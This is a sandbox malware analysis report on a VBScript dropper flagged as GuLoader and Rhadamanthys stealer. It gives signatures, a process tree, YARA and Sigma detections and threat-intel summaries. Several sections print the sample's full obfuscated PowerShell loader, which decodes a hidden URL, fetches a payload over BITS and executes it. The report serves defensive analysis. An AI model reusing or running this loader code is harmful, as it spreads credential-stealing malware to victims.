Edit tour

Windows Analysis Report
tmkSAOF3GM.vbs

Overview

General Information

Sample name:	tmkSAOF3GM.vbs renamed because original name is a hash value
Original sample name:	25a284f3b492b1ef2573a114972267914935fdd0970888c32e96bdf2f5cf132f.vbs
Analysis ID:	1578212
MD5:	3b95d9711bf763678d21b1bdaacc2981
SHA1:	0ba3540093886e7f97d41bcd0991f24e7c7853ed
SHA256:	25a284f3b492b1ef2573a114972267914935fdd0970888c32e96bdf2f5cf132f
Tags:	vbsuser-JAMESWT_MHT
Infos:

Detection

GuLoader, RHADAMANTHYS

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

VBScript performs obfuscated calls to suspicious functions

Yara detected GuLoader

Yara detected RHADAMANTHYS Stealer

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Powershell uses Background Intelligent Transfer Service (BITS)

Sigma detected: WScript or CScript Dropper

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Checks if the current process is being debugged

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7636 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\tmkSAOF3GM.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7728 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Taksig0Kakotop0 anaest2 Period)Seychel Aggradi{FootlogS Bungfut NonzooaTrivialrFabrikatKlenodi- LugginSPerfidilHenfaldeKlerneie MoorwopJordemo Nonsema1Salderi} PreindeKrabberlTeckpresUpsoarseFarmace{MeierunSWolfwartKlovsyga Archbir TyroletSmoothi- UnrebuSChelatilObjektoeSpisesieNemophipKalfakt Hypers1Plodder;FiddlewFAntiboyoMycenaelProtamik AseptieMonumenmHeteronu SnittenBuksestdLseprve yngstee$ TriumfB MilligeYversprchandfasiHastedufPragmatr Trisom2Pilgrim0 Mycolo0 Nonatr0 Behjlp}Stmaale ');Folkemund (Opinions ' Plushe$SurvivegEngraphlOldsteroorchidobConvinca ReplialReolplj:EscalieTColouriaShovelscforankrk DagvoglSthamreeKonjunksencrownsOversaeeCuddies2 Unmagi2Unsquan1Krydder7Revampm=Trollys( OveratTSpringteVaadeousBakkanatGaugepa-DevilkiPPenworkaIsafklntEliderehInfekti Mistelt$BoldosrTBaalishaKlistricPorophykforlystlGaldesteImmunotsOpsamlisSummerseAlannah2Chorioa2 Avissp1Accepte2Biparti)Feather ') ;}Folkemund (Opinions 'Cannone$spectacg snydetl VendekoArmbaanbGaasejnaCalvarilHydraul:CystatrPBromomeo PrintesPraestctNdstilft Emusif Henrykk= Izarsi OverchaGdelthyre CarcantSagsbeh-KingstoCRevereno AgglutnSkippabtGenskabe PimpernFunctiotMarnasr revanch$ProvisoT KulsyraAvislsncFrugtesk Flgelil BetonkeFluevgts BocegesTransfee Afstrm2Replice2sedimen1Kontrol2 Elonga ');Folkemund (Opinions 'Sidstfd$OverhrtgClaimanl RuddygoStinksvb HjlpesaKnoklerlElectro:NellisfD GribaniGrundlngDemijohtIndaandeRefinag Unseeab=Hairspr Thymel[SlantinSFkalvulyTiggergsFremstitMonograeDatamaemFeeblen.StentorCMaudlinoAfsindinlimpindvArrogate KaraktrOverclotSubfree]Settsma:Antever: heubleFCaricesrZooplasoJivaranmLakersnB ContriaKvrulansLandskaeUdflytt6Afskdpr4RostbfeSUfuldkot SmudgirombetrkinonpondnJuncosggslappel(Hemagog$OvermtnPNondilaoJardinesforcedntMartyrotBrnepsy) Indlae ');Folkemund (Opinions 'Ragende$Strejkeg SkreknlEsophagoConfronbBlasfema GynaeclUnavngi:ForholdBUdmeldeebrikvvncFilingfiSubiintfMetempirBrabant2Aaregan0Indoktr2 nedfal Dyretm=Tvangsf Teagle[PoutfulSBroddedyBespndisNurturetEquiforemetachrmLausann.ghuzostTprodukteDesistmxEkkoerst Hvedem.MelismaEIvrksatn KvikkecOverwovoMunitiod Lommesi Paalgsn StrandgFjordmu] Nonacc:Miswors: ergonoA crozehSSlgternC FravleIGrshoppI Afvikl.AppretuGAnimateeVandalit SlubbiSLreansttublufrdr NobatciBanemrknUntimelgMinuetd(Paleoli$HousewrDAssisteiDipleurgAnekdottEtuastye Skille)Amorinl ');Folkemund (Opinions ' Unprot$kraftfugLumperal LexigroUnavngibProfittaAfsindilNictate:NoniehvBTropsveeBenzoxacrickraciSempitefAutopsyrMarskal2Elefant0Forsoeg3Outtopp= Skrppe$YpperhiBSceptereRailerscKreditfiUndervifKbstadsrSpitchc2 Borgen0sprutte2Deanthr.FuturumsRoesukkuTikronebReversisOvervaat Periscr Masteri Bankopn MetalkgHildrel(Digamis2 Alling9Embryol0 Indsti0Bombaze3Eleuthe0 Conque,Inquest2 Brndgl3 Maalea7Mausole4Seriefo5Benpibe)Kostsko ');Folkemund $Becifr203;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8112 cmdline: "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Taksig0Kakotop0 anaest2 Period)Seychel Aggradi{FootlogS Bungfut NonzooaTrivialrFabrikatKlenodi- LugginSPerfidilHenfaldeKlerneie MoorwopJordemo Nonsema1Salderi} PreindeKrabberlTeckpresUpsoarseFarmace{MeierunSWolfwartKlovsyga Archbir TyroletSmoothi- UnrebuSChelatilObjektoeSpisesieNemophipKalfakt Hypers1Plodder;FiddlewFAntiboyoMycenaelProtamik AseptieMonumenmHeteronu SnittenBuksestdLseprve yngstee$ TriumfB MilligeYversprchandfasiHastedufPragmatr Trisom2Pilgrim0 Mycolo0 Nonatr0 Behjlp}Stmaale ');Folkemund (Opinions ' Plushe$SurvivegEngraphlOldsteroorchidobConvinca ReplialReolplj:EscalieTColouriaShovelscforankrk DagvoglSthamreeKonjunksencrownsOversaeeCuddies2 Unmagi2Unsquan1Krydder7Revampm=Trollys( OveratTSpringteVaadeousBakkanatGaugepa-DevilkiPPenworkaIsafklntEliderehInfekti Mistelt$BoldosrTBaalishaKlistricPorophykforlystlGaldesteImmunotsOpsamlisSummerseAlannah2Chorioa2 Avissp1Accepte2Biparti)Feather ') ;}Folkemund (Opinions 'Cannone$spectacg snydetl VendekoArmbaanbGaasejnaCalvarilHydraul:CystatrPBromomeo PrintesPraestctNdstilft Emusif Henrykk= Izarsi OverchaGdelthyre CarcantSagsbeh-KingstoCRevereno AgglutnSkippabtGenskabe PimpernFunctiotMarnasr revanch$ProvisoT KulsyraAvislsncFrugtesk Flgelil BetonkeFluevgts BocegesTransfee Afstrm2Replice2sedimen1Kontrol2 Elonga ');Folkemund (Opinions 'Sidstfd$OverhrtgClaimanl RuddygoStinksvb HjlpesaKnoklerlElectro:NellisfD GribaniGrundlngDemijohtIndaandeRefinag Unseeab=Hairspr Thymel[SlantinSFkalvulyTiggergsFremstitMonograeDatamaemFeeblen.StentorCMaudlinoAfsindinlimpindvArrogate KaraktrOverclotSubfree]Settsma:Antever: heubleFCaricesrZooplasoJivaranmLakersnB ContriaKvrulansLandskaeUdflytt6Afskdpr4RostbfeSUfuldkot SmudgirombetrkinonpondnJuncosggslappel(Hemagog$OvermtnPNondilaoJardinesforcedntMartyrotBrnepsy) Indlae ');Folkemund (Opinions 'Ragende$Strejkeg SkreknlEsophagoConfronbBlasfema GynaeclUnavngi:ForholdBUdmeldeebrikvvncFilingfiSubiintfMetempirBrabant2Aaregan0Indoktr2 nedfal Dyretm=Tvangsf Teagle[PoutfulSBroddedyBespndisNurturetEquiforemetachrmLausann.ghuzostTprodukteDesistmxEkkoerst Hvedem.MelismaEIvrksatn KvikkecOverwovoMunitiod Lommesi Paalgsn StrandgFjordmu] Nonacc:Miswors: ergonoA crozehSSlgternC FravleIGrshoppI Afvikl.AppretuGAnimateeVandalit SlubbiSLreansttublufrdr NobatciBanemrknUntimelgMinuetd(Paleoli$HousewrDAssisteiDipleurgAnekdottEtuastye Skille)Amorinl ');Folkemund (Opinions ' Unprot$kraftfugLumperal LexigroUnavngibProfittaAfsindilNictate:NoniehvBTropsveeBenzoxacrickraciSempitefAutopsyrMarskal2Elefant0Forsoeg3Outtopp= Skrppe$YpperhiBSceptereRailerscKreditfiUndervifKbstadsrSpitchc2 Borgen0sprutte2Deanthr.FuturumsRoesukkuTikronebReversisOvervaat Periscr Masteri Bankopn MetalkgHildrel(Digamis2 Alling9Embryol0 Indsti0Bombaze3Eleuthe0 Conque,Inquest2 Brndgl3 Maalea7Mausole4Seriefo5Benpibe)Kostsko ');Folkemund $Becifr203;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

wab.exe (PID: 6344 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

dialer.exe (PID: 7640 cmdline: "C:\Windows\system32\dialer.exe" MD5: E4BD77FB64DDE78F1A95ECE09F6A9B85)

svchost.exe (PID: 7896 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000003.1761896364.0000000003010000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000006.00000002.1744049696.0000000009D30000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
0000000A.00000003.1835517097.0000000005501000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000A.00000003.1764322214.0000000005380000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000A.00000003.1764142605.0000000005160000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000008.00000003.1770106522.00000000240B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000008.00000003.1760404109.00000000245B0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000008.00000003.1761640645.00000000046B0000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000008.00000003.1758009836.0000000002800000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000008.00000003.1760674277.00000000247D0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000006.00000002.1744712074.000000000B010000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000003.00000002.1966922652.000001EC5E145000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000006.00000002.1733782746.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 7728	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xfd4cd:$b2: ::FromBase64String( 0x246be3:$b2: ::FromBase64String( 0x246c18:$b2: ::FromBase64String( 0x246c4e:$b2: ::FromBase64String( 0x246c85:$b2: ::FromBase64String( 0x246cbd:$b2: ::FromBase64String( 0x246cf6:$b2: ::FromBase64String( 0x246d30:$b2: ::FromBase64String( 0x246d6b:$b2: ::FromBase64String( 0x2be2f:$s1: -join 0x38f04:$s1: -join 0x3c2d6:$s1: -join 0x3c988:$s1: -join 0x3e479:$s1: -join 0x4067f:$s1: -join 0x40ea6:$s1: -join 0x41716:$s1: -join 0x41e51:$s1: -join 0x41e83:$s1: -join 0x41ecb:$s1: -join 0x41eea:$s1: -join
Process Memory Space: powershell.exe PID: 8112	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1a8ae2:$b2: ::FromBase64String( 0x1301c3:$s1: -join 0x132229:$s1: -join 0x1a2ba0:$s1: -join 0x28b8d3:$s1: -join 0x2989a8:$s1: -join 0x29bd7a:$s1: -join 0x29c42c:$s1: -join 0x29df1d:$s1: -join 0x2a0123:$s1: -join 0x2a094a:$s1: -join 0x2a11ba:$s1: -join 0x2a18f5:$s1: -join 0x2a1927:$s1: -join 0x2a196f:$s1: -join 0x2a198e:$s1: -join 0x2a21de:$s1: -join 0x2a235a:$s1: -join 0x2a23d2:$s1: -join 0x2a2465:$s1: -join 0x2a26cb:$s1: -join
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
10.3.dialer.exe.5380000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
10.3.dialer.exe.5160000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.3.wab.exe.245b0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.3.wab.exe.247d0000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
10.3.dialer.exe.5380000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi32_8112.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xe0ab:$b2: ::FromBase64String( 0xcecf:$s1: -join 0x667b:$s4: += 0x673d:$s4: += 0xa964:$s4: += 0xca81:$s4: += 0xcd6b:$s4: += 0xceb1:$s4: += 0x15bf4:$s4: += 0x15c74:$s4: += 0x15d3a:$s4: += 0x15dba:$s4: += 0x15f90:$s4: += 0x16014:$s4: += 0xd926:$e4: Get-WmiObject 0xdb15:$e4: Get-Process 0xdb6d:$e4: Start-Process 0x14728:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\tmkSAOF3GM.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\tmkSAOF3GM.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\tmkSAOF3GM.vbs", ProcessId: 7636, ProcessName: wscript.exe

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\dialer.exe", CommandLine: "C:\Windows\system32\dialer.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\dialer.exe, NewProcessName: C:\Windows\SysWOW64\dialer.exe, OriginalFileName: C:\Windows\SysWOW64\dialer.exe, ParentCommandLine: "C:\Program Files (x86)\windows mail\wab.exe", ParentImage: C:\Program Files (x86)\Windows Mail\wab.exe, ParentProcessId: 6344, ParentProcessName: wab.exe, ProcessCommandLine: "C:\Windows\system32\dialer.exe", ProcessId: 7640, ProcessName: dialer.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\tmkSAOF3GM.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\tmkSAOF3GM.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\tmkSAOF3GM.vbs", ProcessId: 7636, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket 